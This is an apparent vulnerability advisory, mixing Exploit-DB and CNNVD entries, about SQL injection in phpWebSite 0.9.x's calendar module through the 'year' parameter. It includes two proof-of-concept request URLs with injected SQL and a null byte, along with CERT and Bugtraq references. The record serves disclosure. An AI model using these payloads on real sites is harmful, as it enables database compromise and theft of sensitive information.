https://www.exploit-db.com/exploits/23013
https://www.securityfocus.com/bid/82724
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200310-031

phpWebSite0.9.x及其早期版本的calendar模块存在SQL注入漏洞。远程攻击者利用该漏洞执行任意SQL查询，正如使用year参数。

source: http://www.securityfocus.com/bid/8390/info

Multiple SQL injection vulnerabilities have been reported in PHP Website. These issue may be exploited by sending a malicious request to the calendar script. Possible consequencs of exploitation include compromise of the site and disclosure of sensitive information.

http://www.example.com/[PATH]/index.php?module=calendar&calendar[view]
=day&year=2003%00-1&month=

http://www.example.com/[PATH]/index.php?module=calendar&calendar[view]
=month&month=11&year=2003%20and%20startDate%20%3c%3d%2020071205%29%20or%
20%28%20endDate%20%3e%3d031101%20and%20endDate%20%3c%3d%2020071205%29%
29%20and%20active%3d1

phpWebsite Phpwebsite 0.9

来源:US-CERTVulnerabilityNote:VU#925166
名称:VU#925166
链接:http://www.kb.cert.org/vuls/id/925166
来源:BUGTRAQ
名称:20030902GLSA:phpwebsite(200309-03)
链接:http://marc.theaimsgroup.com/?l=bugtraq&m;=106252188522715&w;=2
来源:BUGTRAQ
名称:20030810phpWebSiteSQLInjection&DoS;&XSSVulnerabilities;
链接:http://marc.theaimsgroup.com/?l=bugtraq&m;=106062021711496&w;=2